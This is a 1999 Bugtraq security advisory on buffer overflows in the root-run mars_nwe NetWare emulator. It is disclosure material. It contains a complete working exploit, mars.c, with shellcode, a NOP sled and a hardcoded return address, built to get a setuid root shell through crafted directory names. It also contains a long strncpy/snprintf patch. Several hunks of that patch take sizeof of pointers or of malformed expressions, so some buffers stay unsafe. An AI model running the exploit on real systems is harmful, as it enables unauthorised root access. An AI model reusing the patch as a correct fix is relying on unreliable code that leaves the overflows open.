[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: Babcia Padlina Ltd. security advisory: mars_nwe buffer overf
From: Przemyslaw Frasunek <venglin () FREEBSD ! LUBLIN ! PL>
Date: 1999-08-30 12:31:46
[Download RAW message or body]
This message is in MIME format
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Babcia Padlina Ltd. Security Advisory (BP-9908:01)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Synopsis:
Babcia Padlina Ltd. has discovered many buffer overruns in running
with superuser priviliges parts of mars_nwe package.
Vulnerable versions:
Probably all versions of mars_nwe.
Description:
By creating carefully designed directories or bindery objects
it is possible to execute arbitrary code.
Sample code:
Sample code (won't work with NLS support enabled) in attachment.
Fix:
Patches for mars_nwe 0.99pl15 in attachment.
- ---
* Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-383657 *
* Inet: venglin@FreeBSD.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF *
-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv
iQA/AwUBN8p7tv6SPyHAYTvjEQI0ogCfdy9TeyHvuQj0UL4Vt79/Sj1o6nEAoJW/
kaJzxLBfV5pECo3/cqiMqbao
=DNGn
-----END PGP SIGNATURE-----
["mars.c" (mars.c)]
// get a suid shell :)
#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>
#define BUFSIZE 254
#define NOP 0x90
#define RET 0xbffff3a0
#define ALIGN 1
int makedir(dir)
char *dir;
{
if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;
if (chdir(dir))
return -1;
return 0;
}
int main(void)
{
int i = 0, noplen = 0;
char pid[10], buf[BUFSIZE], *ptr = NULL;
char szelkod[] =
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d"
"\x31\xc9\xb1\x88\x80\x36\x01\x46\xe2\xfa\xea\x19\x2e"
"\x63\x68\x6f\x2e\x62\x69\x6c\x6e\x65\x01\x35\x36\x34"
"\x34\x01\x2e\x63\x68\x6f\x2e\x72\x69\x01\x88\xf7\x54"
"\x88\xe4\x82\xed\x19\x56\x57\x52\xe9\x01\x01\x01\x01"
"\x5a\x80\xc2\xcf\x11\x01\x01\x8c\xba\x0b\xee\xfe\xfe"
"\x88\x7c\xf1\x8c\x82\x14\xee\xfe\xfe\x88\x44\xf5\x8c"
"\x92\x1b\xee\xfe\xfe\x88\x54\xf9\xc6\x44\xfd\x01\x01"
"\x01\x01\xb9\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88"
"\xf2\xcc\x81\x8c\x44\xf1\x88\xc0\xb9\x0a\x01\x01\x01"
"\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x8c\x64\xdd\x5a"
"\x5f\x5e\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91"
"\x91\x91\x91\x00";
sprintf(pid, "%d", getpid());
if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}
if (chdir(pid))
{
perror("chdir()");
return -1;
}
ptr = buf;
noplen = BUFSIZE - strlen(szelkod);
for (i=0;i<noplen;i++)
*ptr++ = NOP;
*ptr += noplen;
for (i=0;i<strlen(szelkod);i++)
*ptr++ = szelkod[i];
*ptr = '\0';
if(makedir(buf) < 0)
{
perror("makedir()");
return -1;
}
bzero(buf, BUFSIZE);
memset(buf, NOP, 40 + ALIGN);
if(makedir(buf) < 0)
{
perror("makedir()");
return -1;
}
bzero(buf, BUFSIZE);
for(i=0;i<96;i+=4)
*(long *)&buf[i] = RET;
for(i=0;i<2;i++)
{
if(makedir(buf) < 0)
{
perror("makedir()");
return -1;
}
}
return 0;
}
["mars.patch" (mars.patch)]
--- connect.c.orig Mon Aug 30 11:20:45 1999
+++ connect.c Mon Aug 30 13:57:53 1999
@@ -113,17 +113,17 @@
|| !nw_volumes[volume].unixnamlen) {
errorp(10, "build_unix_name", "volume=%d not ok\n", volume);
strcpy(unixname, "Z/Z/Z/Z"); /* */
return(unixname);
}
- strcpy(unixname, (char*)nw_volumes[volume].unixname); /* first UNIXNAME VOLUME */
+ strncpy(unixname, (char*)nw_volumes[volume].unixname, sizeof(unixname)-1); /* first UNIXNAME VOLUME */
p = pp = unixname+strlen(unixname);
- strcpy(p, (char*)nwpath->path); /* now the path */
+ strncpy(p, (char*)nwpath->path, (sizeof(unixname)-strlen(unixname)-1)); /* now the path */
p += strlen((char*)nwpath->path);
if ( (!(modus & 1)) && nwpath->fn[0])
- strcpy(p, (char*)nwpath->fn); /* and now fn */
+ strncpy(p, (char*)nwpath->fn, (sizeof(unixname)-strlen(unixname)-1)); /* and now fn */
else if ((modus & 2) && (*(p-1) == '/')) {
if (p > unixname+1) *(--p) = '\0';
else {
*p++ = '.';
*p = '\0';
@@ -176,11 +176,11 @@
} else
rethandle=nhandle;
/* init dir_handle */
dh=&(dir_handles[rethandle-1]);
- strcpy(dh->unixname, build_unix_name(nwpath, 0));
+ strncpy(dh->unixname, build_unix_name(nwpath, 0), sizeof(dh->unixname)-1);
dh->kpath = dh->unixname + strlen(dh->unixname);
if (dh->f) {
closedir(dh->f);
dh->f=NULL;
}
@@ -392,12 +392,12 @@
{
static char nwpathname[300];
char volname[100];
if (p->volume < 0 || p->volume >= used_nw_volumes) {
sprintf(volname, "<%d=NOT-OK>", (int)p->volume);
- } else strcpy(volname, (char*)nw_volumes[p->volume].sysname);
- sprintf(nwpathname, "%s:%s%s", volname, p->path, p->fn);
+ } else strncpy(volname, (char*)nw_volumes[p->volume].sysname, sizeof(volname)-1);
+ snprintf(nwpathname, sizeof(nwpathname), "%s:%s%s", volname, p->path, p->fn);
return(nwpathname);
}
/* new from Andrew Sapozhnikov <sapa@hq.icb.chel.su>
* added in 0.99.pl7, removes old x_str_match routine
@@ -576,14 +576,14 @@
fs->ubuf = NULL;
}
fs->attrib = attrib;
if (volume < 0 || volume >= used_nw_volumes) return(-1); /* something wrong */
else soptions = nw_volumes[volume].options;
- strcpy((char*)entry, (char*)nwpath->fn);
+ strncpy((char*)entry, (char*)nwpath->fn, sizeof(entry)-1);
nwpath->fn[0] = '\0';
- strcpy(xkpath, build_unix_name(nwpath, 1|2));
+ strncpy(xkpath, build_unix_name(nwpath, 1|2), sizeof(xkpath)-1);
XDPRINTF((5,0,"func_search_entry attrib=0x%x path:%s:, xkpath:%s:, entry:%s:",
attrib, nwpath->path, xkpath, entry));
if ( (!stat(xkpath, &(fs->statb)))
@@ -608,16 +608,16 @@
okflag = (name[0] != '.' &&
( (!strcmp((char*)dname, (char*)entry))
|| fn_dos_match(dname, entry, soptions)));
if (okflag) {
*kpath = '\0';
- strcpy(kpath, (char*)name);
+ strncpy(kpath, (char*)name, sizeof((xkpath)-strlen(xkpath)-1));
if (!s_stat(xkpath, &(fs->statb), NULL)) {
okflag = ( ( ( (fs->statb.st_mode & S_IFMT) == S_IFDIR) && (attrib & 0x10))
|| ( ( (fs->statb.st_mode & S_IFMT) != S_IFDIR) && !(attrib & 0x10)));
if (okflag){
- strcpy((char*)nwpath->fn, (char*)dname);
+ strncpy((char*)nwpath->fn, (char*)dname, sizeof(nwpath->fn));
XDPRINTF((5,0,"FOUND=:%s: attrib=0x%x", nwpath->fn, fs->statb.st_mode));
result = (*fs_func)(nwpath, fs);
if (result < 0) break;
else result=1;
}
@@ -646,13 +646,13 @@
int volume = nwpath->volume;
int soptions;
int akt_sequence=0;
if (volume < 0 || volume >= used_nw_volumes) return(-0x98); /* something wrong */
else soptions = nw_volumes[volume].options;
- strcpy((char*)entry, (char*)nwpath->fn);
+ strncpy((char*)entry, (char*)nwpath->fn, sizeof(entry)-1);
nwpath->fn[0] = '\0';
- strcpy(xkpath, build_unix_name(nwpath, 1|2));
+ strncpy(xkpath, build_unix_name(nwpath, 1|2), sizeof(xkpath)-1);
XDPRINTF((5,0,"get_dir_entry attrib=0x%x path:%s:, xkpath:%s:, entry:%s:",
attrib, nwpath->path, xkpath, entry));
if ( (!stat(xkpath, statb))
&& !tru_eff_rights_exists(volume, xkpath, statb, TRUSTEE_F)) {
@@ -686,20 +686,20 @@
okflag = ((name[0] != '.' &&
( (!strcmp((char*)dname, (char*)entry))
|| fn_dos_match(dname, entry, soptions)))) ? 0 : -0xff;
if (!okflag) {
*kpath = '\0';
- strcpy(kpath, (char*)name);
+ strncpy(kpath, (char*)name, sizeof(xkpath)-strlen(xkpath)-1);
if (!s_stat(xkpath, statb, NULL)) {
okflag = (( ( ( (statb->st_mode & S_IFMT) == S_IFDIR) && (attrib & 0x10))
|| ( ( (statb->st_mode & S_IFMT) != S_IFDIR) && !(attrib & 0x10))))
? 0 : -0xff;
if (!okflag){
if (soptions & VOL_OPTION_IS_PIPE) {
statb->st_size = 0x70000000|(statb->st_mtime&0xfffffff);
}
- strcpy((char*)nwpath->fn, (char*)dname);
+ strncpy((char*)nwpath->fn, (char*)dname, sizeof(nwpath->fn)-1);
XDPRINTF((5,0,"FOUND=:%s: attrib=0x%x", nwpath->fn, statb->st_mode));
break; /* ready */
}
} else okflag = -0xff;
}
@@ -736,11 +736,12 @@
static int get_dh_entry(DIR_HANDLE *dh,
uint8 *search,
int *sequence,
int attrib,
char *unixname,
- struct stat *statb)
+ struct stat *statb,
+ int len)
/* returns 1 if OK and 0 if not OK */
{
DIR *f = give_dh_f(dh);
int okflag = 0;
@@ -782,21 +783,21 @@
okflag = (name[0] != '.' &&
( (!strcmp((char*)dname, (char*)entry))
|| fn_dos_match(dname, entry, dh->vol_options)));
if (okflag) {
- strcpy(dh->kpath, (char*)name);
+ strncpy(dh->kpath, (char*)name, sizeof(dh->unixname)-1);
XDPRINTF((5,0,"get_dh_entry Name=%s unixname=%s",
name, dh->unixname));
if (!s_stat(dh->unixname, statb, NULL)) {
okflag = ( (( (statb->st_mode & S_IFMT) == S_IFDIR) && (attrib & 0x10))
|| (((statb->st_mode & S_IFMT) != S_IFDIR) && !(attrib & 0x10)));
if (okflag){
if (unixname)
- strcpy(unixname, dh->unixname);
- strcpy((char*)search, (char*)dname);
+ strncpy(unixname, dh->unixname, sizeof(unixname)-1);
+ strncpy((char*)search, (char*)dname, len-1);
break; /* ready */
}
} else okflag = 0;
}
} /* if */
@@ -812,11 +813,12 @@
static void conn_build_path_fn( uint8 *vol,
uint8 *path,
uint8 *fn,
int *has_wild,
uint8 *data,
- int len)
+ int len,
+ int lenn)
/* is called from build_path */
{
uint8 *p = NULL;
uint8 *p1 = path;
@@ -844,14 +846,14 @@
data++;
}
*p1 = '\0';
if (fn != NULL) { /* if with filename */
if (p != NULL){ /* exist directory-path */
- strcpy((char*)fn, (char*)p);
+ strncpy((char*)fn, (char*)p, lenn-1);
*p = '\0';
} else { /* only filename */
- strcpy((char*)fn, (char*)path);
+ strncpy((char*)fn, (char*)path, lenn-1);
*path= '\0';
}
}
}
@@ -870,11 +872,11 @@
uint8 vol[256];
conn_build_path_fn(vol, path->path,
(only_dir) ? (uint8)NULL
: path->fn,
&(path->has_wild),
- data, len);
+ data, len, sizeof(path->fn));
path->volume = -1;
if (only_dir) path->fn[0] = '\0';
if (vol[0]) { /* there is a volume in path */
@@ -933,11 +935,11 @@
uint8 searchpath[256];
uint8 *p=searchpath;
uint8 *ppp=nwpath->path;
int completition=0;
- strcpy((char*)searchpath, (char*)ppp); /* save path */
+ strncpy((char*)searchpath, (char*)ppp, sizeof(searchpath)-1); /* save path */
if (nwpath->volume > -1) { /* absolute path */
*ppp= '\0';
} else { /* volume not kwown yet, I must get it about dir_handle */
if (dir_handle > 0 &&
@@ -946,11 +948,11 @@
if (searchpath[0] == '/') { /* absolute path */
p++;
*ppp = '\0';
} else { /* get path from dir_handle */
NW_VOL *v = &nw_volumes[nwpath->volume];
- strcpy((char*)ppp, (char*)dirs[dir_handle].path);
+ strncpy((char*)ppp, (char*)dirs[dir_handle].path, sizeof(nwpath->path)-1);
if (v->options & VOL_OPTION_IGNCASE)
ppp += strlen(ppp);
}
} else return(-0x9b); /* wrong dir handle */
}
@@ -1028,13 +1030,13 @@
uint8 *pp=unixname+v->unixnamlen;
int offset = ppp - nwpath->path;
int pathlen = strlen(nwpath->path);
int fnlen = strlen(nwpath->fn);
memcpy(unixname, v->unixname, v->unixnamlen);
- strcpy(pp, nwpath->path);
+ strncpy(pp, nwpath->path, sizeof(unixname)-v->unixnamlen-1);
if (fnlen)
- strcpy(pp+pathlen, nwpath->fn);
+ strncpy(pp+pathlen, nwpath->fn, sizeof(unixname)-v->unixnamlen-pathlen-1);
dos2unixcharset(pp);
pp += offset;
pathlen -= offset;
mangle_dos_name(v, unixname, pp);
unix2doscharset(pp);
@@ -1062,11 +1064,11 @@
if (!completition) completition = build_dir_name(nwpath, stbuff, dirhandle);
return(completition);
}
int conn_get_full_path(int dirhandle, uint8 *data, int len,
- uint8 *fullpath)
+ uint8 *fullpath, int lenn)
/* returns path in form VOLUME:PATH */
{
NW_PATH nwpath;
struct stat stbuff;
int result = build_path(&nwpath, data, len, 0);
@@ -1077,11 +1079,11 @@
uint8 *p=(*nwpath.path=='/') ? nwpath.path+1 : nwpath.path;
int len=sprintf(fullpath, "%s:%s",
nw_volumes[nwpath.volume].sysname, p);
if (nwpath.fn[0]) {
if (*p) fullpath[len++]='/';
- strcpy(fullpath+len, nwpath.fn);
+ strncpy(fullpath+len, nwpath.fn, lenn-len-1);
}
result=len+strlen(nwpath.fn);
}
XDPRINTF((1, 0, "conn_get_full_path: result=%d,(0x%x),`%s`", result, result, fullpath));
return(result);
@@ -1100,11 +1102,11 @@
int completition = build_path(&nwpath, data, len, 0);
if (!completition)
completition = build_dir_name(&nwpath, &stbuff, dirhandle);
if (completition > -1) {
if (unixname)
- strcpy(unixname, build_unix_name(&nwpath, 0));
+ strncpy(unixname, build_unix_name(&nwpath, 0), 299);
completition=nwpath.volume;
}
XDPRINTF((5, 0, "conn_get_kpl_unxname: completition=0x%x", completition));
return(completition);
}
@@ -1203,11 +1205,11 @@
}
static int do_delete_file(NW_PATH *nwpath, FUNC_SEARCH *fs)
{
char unname[256];
- strcpy(unname, build_unix_name(nwpath, 0));
+ strncpy(unname, build_unix_name(nwpath, 0), sizeof(unname)-1);
XDPRINTF((5,0,"DELETE FILE unname:%s:", unname));
return(nw_unlink_node(nwpath->volume, unname, &(fs->statb)));
}
int nw_delete_files(int dir_handle, int searchattrib, uint8 *data, int len)
@@ -1228,11 +1230,11 @@
char unname[256];
int result=0;
NW_FILE_INFO *f=(NW_FILE_INFO*)fs->ubuf;
int voloptions = get_volume_options(nwpath->volume);
struct stat statb;
- strcpy(unname, build_unix_name(nwpath, 0));
+ strncpy(unname, build_unix_name(nwpath, 0), sizeof(unname)-1);
if (!stat(unname, &statb)) {
if (S_ISFIFO(statb.st_mode) || (voloptions&VOL_OPTION_IS_PIPE))
return(0); /* do nothing but report OK */
if (tru_eff_rights_exists(nwpath->volume, unname, &statb, TRUSTEE_M))
result=-0x8c; /* no modify rights */
@@ -1313,11 +1315,11 @@
if (nwpath.fn[0] != '.') { /* Files with . at the beginning are not ok */
completition = build_dir_name(&nwpath, &stbuff, dir_handle);
}
if (completition < 0) return(completition);
voloptions=get_volume_options(nwpath.volume);
- strcpy(unname, build_unix_name(&nwpath, 2));
+ strncpy(unname, build_unix_name(&nwpath, 2), sizeof(unname)-1);
XDPRINTF((5,0,"set file attrib 0x%x, unname:%s:", newattrib, unname));
if (!s_stat(unname, &stbuff, &stb)){
int result = set_nw_attrib_byte(nwpath.volume, unname, &stbuff, newattrib);
return( (result != 0) ? -0x8c : 0); /* no modify rights */
@@ -1379,11 +1381,11 @@
/* mode & 0x8 == ignore rights, try to open as root */
{
struct stat stb;
uint8 path[260];
uint8 *p=path+strlen(unname);
- strcpy(path, unname);
+ strncpy(path, unname, sizeof(path));
while (p > path && *p != '/') --p;
if (p > path) {
*p='\0';
if (stat(path, &stb)) return(-0x9c);
} else if (*p=='/') {
@@ -1488,11 +1490,11 @@
struct stat stbuff;
int completition = conn_get_kpl_path(&nwpath, &stbuff,
dir_handle, data, len, (mode) ? 0 : 1 );
if (completition > -1) {
char unname[256];
- strcpy(unname, build_unix_name(&nwpath, 2));
+ strncpy(unname, build_unix_name(&nwpath, 2), sizeof(unname)-1);
if (mode) {
completition=nw_creat_node(nwpath.volume, unname, 1);
} else { /* rmdir */
if (!stat(unname, &stbuff))
completition=nw_unlink_node(nwpath.volume, unname, &stbuff);
@@ -1514,27 +1516,27 @@
zlen=apply_wildcards(q, qlen, z, zlen);
completition=conn_get_kpl_path(&quellpath, &qstbuff, qdirhandle, q, qlen, 0);
if (completition > -1) {
char qfn[256];
- strcpy(qfn, build_unix_name(&quellpath,0));
+ strncpy(qfn, build_unix_name(&quellpath,0), sizeof(qfn)-1);
completition=conn_get_kpl_path(&zielpath, &zstbuff, zdirhandle, z, zlen, 0);
if (completition > -1) {
char zpath[256];
completition=0;
- strcpy(zpath, build_unix_name(&zielpath, 1));
+ strncpy(zpath, build_unix_name(&zielpath, 1), sizeof(zpath)-1);
if (stat(qfn, &qstbuff) ||
tru_eff_rights_exists(quellpath.volume, qfn, &qstbuff,
TRUSTEE_W|TRUSTEE_M|TRUSTEE_R))
completition=-0x8b;
else if (tru_eff_rights_exists(zielpath.volume, zpath, &zstbuff,
TRUSTEE_W))
completition=-0x8b;
}
if (!completition){
char unziel[256];
- strcpy(unziel, build_unix_name(&zielpath,0));
+ strncpy(unziel, build_unix_name(&zielpath,0), sizeof(unziel)-1);
seteuid(0);
if (entry8_flags & 0x4) /* new: 20-Nov-96 */
completition = unx_mvfile_or_dir(qfn, unziel);
else
@@ -1563,11 +1565,11 @@
if (completition > -1){
char qfn[256];
char zpath[256];
struct stat zstbuff;
completition = 0;
- strcpy(qfn, build_unix_name(&quellpath,0));
+ strncpy(qfn, build_unix_name(&quellpath,0), sizeof(qfn)-1);
memcpy(&zielpath, &quellpath, sizeof(NW_PATH));
strmaxcpy(zielpath.fn, z, zlen);
/* patch from Sven Norinder <snorinder@sgens.ericsson.se> :09-Nov-96 */
if (get_volume_options(zielpath.volume) & VOL_OPTION_DOWNSHIFT)
@@ -1583,11 +1585,11 @@
* 0x0,0xd,0xf,0x0,0x7,'T','M','P',':','\','I','I',0x2,'K','K'
* no dirhandle, qpath = fullpath, zpath = only name
*/
#endif
- strcpy(zpath, build_unix_name(&zielpath, 1));
+ strncpy(zpath, build_unix_name(&zielpath, 1), sizeof(zpath)-1);
if (stat(qfn, &qstbuff) ||
tru_eff_rights_exists(quellpath.volume, qfn, &qstbuff,
TRUSTEE_W|TRUSTEE_M|TRUSTEE_R))
completition=-0x8b;
else if (stat(zpath, &zstbuff) ||
@@ -1596,11 +1598,11 @@
completition=-0x8b;
if (completition > -1){
int result;
char unziel[256];
- strcpy(unziel, build_unix_name(&zielpath, 0));
+ strncpy(unziel, build_unix_name(&zielpath, 0), sizeof(unziel)-1);
seteuid(0);
result = unx_mvdir((uint8 *)qfn, (uint8 *)unziel);
reseteuid();
@@ -1684,11 +1686,11 @@
int what;
int k = MAX_NW_DIRS;
NW_DIR *d = &(dirs[0]);
int namspace_max_baseh=0;
int namspace_max_searchh=0;
- strcpy((char*)nwlogin.path, (char*)login);
+ strncpy((char*)nwlogin.path, (char*)login, sizeof(nwlogin.path)-1);
nwlogin.fn[0] = '\0';
nwlogin.volume = 0;
while (k--) {
if (connect_is_init)
@@ -1719,11 +1721,11 @@
server_version_flags=0;
} else if (what == 8) { /* entry8_flags */
entry8_flags = hextoi((char*)buff);
} else if (what == 9) { /* umode */
uint8 buf1[300], buf2[300];
- if (2 == sscanf((char*)buff, "%s %s", buf1, buf2)) {
+ if (2 == sscanf((char*)buff, "%300s %300s", buf1, buf2)) {
default_umode_dir = octtoi(buf1);
default_umode_file = octtoi(buf2);
}
} else if (what == 10) { /* GID */
default_gid = atoi((char*)buff);
@@ -1868,11 +1870,11 @@
&searchsequence,
search_attrib,
&stbuff);
if (!completition) {
char unixname[300];
- strcpy(unixname, build_unix_name(&nwpath, 0));
+ strncpy(unixname, build_unix_name(&nwpath, 0), sizeof(unixname)-1);
if ( S_ISDIR(stbuff.st_mode) ) {
get_dir_attrib((NW_DIR_INFO*)info, unixname, &stbuff,
&nwpath);
} else {
get_file_attrib((NW_FILE_INFO*)info, unixname, &stbuff,
@@ -1925,11 +1927,11 @@
if (get_dh_entry(dh,
nwpath.fn,
&searchsequence,
search_attrib,
unixname,
- &stbuff)){
+ &stbuff, sizeof(nwpath.fn))){
if ( S_ISDIR(stbuff.st_mode) ) {
get_dir_attrib((NW_DIR_INFO*)info, unixname, &stbuff,
&nwpath);
} else {
@@ -1955,11 +1957,11 @@
NW_PATH nwpath;
struct stat stbuff;
int inode=conn_get_kpl_path(&nwpath, &stbuff, dir_handle, data, len, 1);
if (inode > -1) {
uint8 unixname[257];
- strcpy(unixname, build_unix_name(&nwpath, 0));
+ strncpy(unixname, build_unix_name(&nwpath, 0), sizeof(unixname-1));
inode = insert_new_dir(&nwpath, stbuff.st_dev, stbuff.st_ino,
driveletter, is_temphandle, task);
*eff_rights=tru_get_eff_rights(nwpath.volume, unixname, &stbuff);
}
XDPRINTF((2,0,"Allocate %shandle:%s, Qhandle=%d, drive=%d, Task=%d, result=0x%x",
@@ -2094,11 +2096,11 @@
struct stat stbuff;
NW_PATH nwpath;
int completition = conn_get_kpl_path(&nwpath, &stbuff,
dir_handle, data, len, 0);
if (completition < 0) return(completition);
- strcpy(unname, build_unix_name(&nwpath, 0));
+ strncpy(unname, build_unix_name(&nwpath, 0), sizeof(unname)-1);
if (s_stat(unname, &stbuff, NULL) ||
(!modus && !S_ISDIR(stbuff.st_mode)) ) {
completition = -0x9c;
} else
completition=tru_get_eff_rights(nwpath.volume, unname, &stbuff);
@@ -2117,11 +2119,11 @@
NW_PATH nwpath;
struct stat stbuff;
int completition = conn_get_kpl_path(&nwpath, &stbuff, dir_handle, data, len, 0);
if (completition > -1) {
char unixname[300];
- strcpy(unixname, build_unix_name(&nwpath, 0));
+ strncpy(unixname, build_unix_name(&nwpath, 0), sizeof(unixname)-1);
completition=file_creat_open(nwpath.volume, (uint8*)unixname,
&stbuff, attrib, access, creatmode, task);
if (completition > -1)
get_file_attrib(info, unixname, &stbuff, &nwpath);
@@ -2152,22 +2154,22 @@
down_fn(wild);
} else {
up_fn(wild);
}
- strcpy((char*)dirname, (char*)wild);
+ strncpy((char*)dirname, (char*)wild, sizeof(dirname)-1);
XDPRINTF((5,0,"SCAN_DIR: rights = 0x%x, subnr = %d",
(int)rights, (int)GET_BE16(subnr)));
if (*dirname) {
char unixname[300];
while ( get_dh_entry( dh,
dirname,
&searchsequence,
0x10,
unixname,
- &stbuff) ) {
+ &stbuff, sizeof(dirname)) ) {
XDPRINTF((5,0,"SCAN_DIR: von %s, found %s:", dh->unixname, dirname));
if (++aktsequence == dirsequence) { /* actual found */
U16_TO_BE16(aktsequence, subnr);
up_fn(dirname);
@@ -2175,11 +2177,11 @@
U32_TO_BE32(get_file_owner(&stbuff), owner);
un_date_2_nw(stbuff.st_mtime, subdatetime, 1);
un_time_2_nw(stbuff.st_mtime, subdatetime+2, 1);
return(tru_get_inherited_mask(volume, unixname, &stbuff));
}
- strcpy((char*)dirname, (char*)wild);
+ strncpy((char*)dirname, (char*)wild, sizeof(dirname)-1);
} /* while */
} else {
*(dh->kpath) = '.';
*(dh->kpath+1) = '\0';
if (!s_stat(dh->unixname, &stbuff, NULL)) {
@@ -2296,11 +2298,11 @@
&stbuff);
if (!completition) {
char unixname[300];
NW_SCAN_DIR_INFO *scif = (NW_SCAN_DIR_INFO*)rdata;
- strcpy(unixname, build_unix_name(&nwpath, 0));
+ strncpy(unixname, build_unix_name(&nwpath, 0), sizeof(unixname)-1);
memset(rdata, 0, sizeof(NW_SCAN_DIR_INFO));
U32_TO_BE32((uint32)searchsequence, scif->searchsequence);
XDPRINTF((5,0, "nw_scan_a_directory = %s, uid=%d, gid=%d",
conn_get_nwpath_name(&nwpath),
@@ -2328,11 +2330,11 @@
int completition = conn_get_kpl_path(&nwpath, &stbuff, dirhandle, data, 0, 1);
XDPRINTF((5,0,"nw_scan_a_root_directory_2 path:%s:, fn:%s:, completition:0x%x",
nwpath.path, nwpath.fn, completition));
if (completition > -1) {
char unixname[300];
- strcpy(unixname, build_unix_name(&nwpath, 2));
+ strncpy(unixname, build_unix_name(&nwpath, 2), sizeof(unixname)-1);
if (!s_stat(unixname, &stbuff, NULL)) {
NW_DOS_DIR_INFO *d=(NW_DOS_DIR_INFO*)rdata;
memset(rdata, 0, sizeof(NW_DOS_DIR_INFO));
get_dos_dir_attrib(d, &stbuff, nwpath.volume, nwpath.fn, unixname);
return(sizeof(NW_DOS_DIR_INFO));
@@ -2360,11 +2362,11 @@
searchattrib,
&stbuff);
if (!completition) {
char unixname[300];
uint32 change_mask=GET_32(f->change_bits);
- strcpy(unixname,build_unix_name(&nwpath, 0));
+ strncpy(unixname,build_unix_name(&nwpath, 0), sizeof(unixname)-1);
if (change_mask & 0x2) {
completition=set_nw_attrib_dword(nwpath.volume, unixname, &stbuff,
GET_32(f->u.f.attributes));
}
if (S_ISDIR(stbuff.st_mode)) {
@@ -2479,11 +2481,11 @@
char unname[256];
struct stat stbuff;
NW_PATH nwpath;
int result = conn_get_kpl_path(&nwpath, &stbuff, dir_handle, data, len, 0);
if (result < 0) return(result);
- strcpy(unname, build_unix_name(&nwpath, 0));
+ strncpy(unname, build_unix_name(&nwpath, 0), sizeof(unname)-1);
if (s_stat(unname, &stbuff, NULL) ||
(!extended && !S_ISDIR(stbuff.st_mode)) ) {
result = -0x9c;
} else {
NW_OIC nwoic;
@@ -2503,11 +2505,11 @@
char unname[256];
struct stat stbuff;
NW_PATH nwpath;
int result = conn_get_kpl_path(&nwpath, &stbuff, dir_handle, data, len, 0);
if (result < 0) return(result);
- strcpy(unname, build_unix_name(&nwpath, 0));
+ strncpy(unname, build_unix_name(&nwpath, 0), sizeof(unname)-1);
if (s_stat(unname, &stbuff, NULL) ||
(!extended && !S_ISDIR(stbuff.st_mode)) ) {
result = -0x9c;
} else {
result=tru_del_trustee(nwpath.volume, unname, &stbuff, id);
@@ -2522,11 +2524,11 @@
char unname[256];
struct stat stbuff;
NW_PATH nwpath;
int result = conn_get_kpl_path(&nwpath, &stbuff, dir_handle, data, len,0);
if (result < 0) return(result);
- strcpy(unname, build_unix_name(&nwpath, 0));
+ strncpy(unname, build_unix_name(&nwpath, 0), sizeof(unname)-1);
if (s_stat(unname, &stbuff, NULL) || !S_ISDIR(stbuff.st_mode)) {
result = -0x9c;
} else {
result=nw_utime_node(nwpath.volume, unname, &stbuff,
nw_2_un_time(creationdate, creationtime));
@@ -2564,11 +2566,11 @@
struct stat stbuff;
NW_PATH nwpath;
int result = conn_get_kpl_path(&nwpath, &stbuff, dir_handle, path, len,
(extended) ? 0 : 1);
if (result < 0) return(result);
- strcpy(unname, build_unix_name(&nwpath, 0));
+ strncpy(unname, build_unix_name(&nwpath, 0), sizeof(unname)-1);
if (s_stat(unname, &stbuff, NULL) ||
(!extended && !S_ISDIR(stbuff.st_mode)) ) {
result = -0x9c;
} else {
result=tru_get_trustee_set(nwpath.volume, unname,
--- connect.h.orig Mon Aug 30 13:03:38 1999
+++ connect.h Mon Aug 30 13:03:57 1999
@@ -207,11 +207,11 @@
extern int act_obj_id; /* not login == 0 */
extern int act_id_flags; /* &1 == supervisor equivalence !!! */
extern int entry8_flags; /* special flags, see examples nw.ini, entry 8 */
extern int conn_get_full_path(int dirhandle, uint8 *data, int len,
- uint8 *fullpath);
+ uint8 *fullpath, int lenn);
extern int conn_get_kpl_unxname(char *unixname,
int dirhandle,
uint8 *data, int len);
--- nameos2.c.orig Mon Aug 30 12:49:47 1999
+++ nameos2.c Mon Aug 30 12:49:49 1999
@@ -114,11 +114,11 @@
--p; /* to get last '/' */
return(get_match(unixname, p));
}
#endif
-void mangle_os2_name(NW_VOL *vol, uint8 *unixname, uint8 *pp)
+void mangle_os2_name(NW_VOL *vol, uint8 *unixname, uint8 *pp, int len)
{
#if MAX_NAME_OS2_CACHE
int k = -1;
int besthit = -1;
int maxhits = 0;
@@ -147,11 +147,11 @@
}
b->cache[0] = NULL;
new_str(b->cache[0], pp);
}
} else {
- strcpy(pp, b->cache[besthit]);
+ strncpy(pp, b->cache[besthit], len-1);
if (besthit > 2) {
uint8 *sp=b->cache[besthit];
while (besthit--) {
b->cache[besthit+1] = b->cache[besthit];
}
--- namspace.c.orig Mon Aug 30 12:51:17 1999
+++ namspace.c Mon Aug 30 12:51:19 1999
@@ -615,11 +615,11 @@
strcpy(unixname+v->unixnamlen, nwpath->path);
pp=unixname+v->unixnamlen;
if (nwpath->namespace == NAME_OS2) {
dos2unixcharset(pp);
pp+=npbeg;
- mangle_os2_name(v, unixname, pp);
+ mangle_os2_name(v, unixname, pp, sizeof(unixname)-v->unixnamlen-npbeg);
if (nplen > 0) {
unix2doscharset(pp);
memcpy(nwpath->path+npbeg, pp, nplen);
}
XDPRINTF((5,0, "Mangle OS/2 unixname='%s'", unixname));
--- nwattrib.c.orig Mon Aug 30 12:53:44 1999
+++ nwattrib.c Mon Aug 30 12:53:54 1999
@@ -31,11 +31,11 @@
char buf[255];
char battrib[255];
int l;
uint8 buf_uc[4];
U32_TO_BE32(inode, buf_uc);
- l=sprintf(buf, "%s/%x/%x/%x/%x", path_attributes,
+ l=snprintf(buf, sizeof(buf), "%s/%x/%x/%x/%x", path_attributes,
dev,
(int) buf_uc[0],
(int) buf_uc[1],
